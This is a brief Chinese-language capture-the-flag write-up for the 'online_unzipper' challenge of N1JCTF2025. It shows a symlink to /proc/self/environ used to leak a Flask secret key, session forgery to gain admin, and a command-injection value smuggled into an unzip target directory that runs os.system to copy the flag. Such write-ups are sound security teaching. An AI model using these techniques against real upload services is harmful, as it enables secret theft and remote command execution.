N1JCTF2025
online_unzipper
白盒,FLASK_SECRET_KEY 在环境变量中,先构造软路由:
1 | ln -s /proc/self/environ test |
上传之后可以得到环境变量,伪造session ,得到admin 身份:
1 | if role == "admin": |
admin 可以自定义解压文件夹,我们再跟进一下解压逻辑:
1 | os.system(f"unzip -o {zip_path} -d {target_dir}") |
可见我们只要在自定义解压文件夹处使用;
就可以执行代码了。不用在意压缩包的内容和名称:
1 | x; mkdir -p /app/uploads/public; cat /flag-*.txt > /app/uploads/public/flag.txt; # |
而download 的路由其实只是读 uploads 罢了,因此访问/download/public/flag.txt
就可以得到flag:
1 |
|